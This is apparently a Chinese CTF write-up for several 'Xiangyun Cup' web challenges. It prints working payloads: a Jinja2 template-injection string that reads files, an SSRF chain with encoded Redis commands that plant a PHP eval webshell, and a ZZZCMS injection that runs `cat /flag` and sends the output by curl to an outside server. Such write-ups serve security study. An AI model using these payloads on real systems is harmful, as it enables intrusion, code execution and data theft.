祥云web

web1

ping命令拼接,不在多说;

web

flask开启debug模式导致源码泄露

1
2
3
4
5
6
7
8
9
10
11
def Guess():
user=request.cookies.get('user')
if user==None:
return redirect(url_for("Hello"))
user=user.encode('utf-8')
name = base64.urlsafe_b64decode(user)
num = float(request.form['num'])
if(num<0):
return "Too Small"
elif num>1000000000.0:
Open an interactive python shell in this frame ​return "Too Large

发现cookie传入user,然后post传入一个num然后比较;发现这里和cookie有关,而且经过了base64deocde,所以先错误传入cookie为1;使其报错触发debug模式,泄露cookie处理部分得源码;

1
2
3
4
5
6
7
8
9
10
      user=request.cookies.get('user')
if user == None:
return render_template("index.html")
else:
user=user.encode('utf-8')
return render_template("guess.html",name=base64.urlsafe_b64decode(user))

@app.route('/guess',methods=['POST'])
def Guess():
Open an interactive python shell in this frame ​user=request.cookies.get('user'

发现这里渲染了;而且需要经过num得判断之后才会进行渲染,这里采用nan进行绕过,即not a number;即无法用数字表达,是个无穷大的数;使其比较为真;然后进行渲染;

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

将其base64加密后传入cookie进行渲染,达到读取文件的效果,因为题目开启了debug模式,所以需要有pin码得到可以dubug得权限,这里直接读取/app/app.log发现pin码泄露,所以直接拿shell;

SSRF

parse_url 函数具有漏洞;利用如下代码测试:

1
2
3
4
5
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>

利用其进行ssrf;url=http://root:root@127.0.0.1:5000@s1mple.com发现存在套娃;其五千端口开放;存在如下回显:

1
2
hello,world
hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com

我们按照套娃方式进行测试,发现可以出网,打到自己服务器上;

DYtdLq.png

发现 web是urllib ;存在clrf

按照套娃测试发现redis开放?url=http://root:root@127.0.0.1:5000@s1mple.com/?url=http://127.0.0.1:6379

目标明确,reids也是未授权访问;锤redis从而getshell;当时测试了主从复制攻击redis但是没有成功,想来直接写shell更方便;尝试写shell;

直接攻击利用reids可以识别http协议的原因,直接后面传入攻击数据写入shell;url进行urlencode二次加密;

%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2527a%2527%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

访问shell.php 密码为a

DYtBwV.png

easygogogo

脑洞题;上传文件达到目录穿越得地方,因为是go写的,所以上传php木马是不会进行解析得;那需要另辟蹊径;我们看到上传之后,会有生成cookie;到python3下用base64decode一下;会发现是我们得上传信息;那么这里需要进行伪造,因为加密得原因,我们不方便伪造,再show页面我们发现了src进行包含输出图片得点,又因为可以目录穿越,所以想到利用伪造cookie读文件;

有个小坑,上传文件之后会覆盖源文件。擦,我当初没想到,一直读了一下午;这里上传后需要再开一个靶机,进行show页面输入cookie读取;flag再根目录; 不再多说;

ZZZCMS

这个框架存在很多漏洞。比如前台得sql注入,后台得文件读取,等等,当时找到了后台登陆路径,按照zzzcms之前三月份爆出得后台无验证码登陆,发现无法登陆上去,想来还是其他的漏洞,回到前台发现搜索框,测试了下命令注入;发现可以注入;太艹了。还源码审计,审计个锤子;题目不放源码;只是上网上搜源码,而且题目还刮去了很多功能,源码还无法确定剩下的残留源码是哪些;;这就是祥云杯吗;垃圾;

利用if结合 zzzcms友链空标签绕过if过滤进行前台注入;新版的过滤和原来的有差别,但是可以绕过去;参考网上的旧的payload,利用链接空标签绕过就可;后台注入的拿到前台依然可以攻击成功;

https://xz.aliyun.com/t/7414

{i{zzz:linklist}{/zzz:linklist}f:1)curl 120.53.29.60:20000/`cat /flag`;//}{end i{zzz:linklist}{/zzz:linklist}f}

直接反引号命令执行curl外带到vps;

DYt0e0.png

还有一个不是我参与出的,是另一个队友出的,当时我在打全国大学生软件测试大赛,所以就不放wp了;网上有很多其他的wp;可以复现;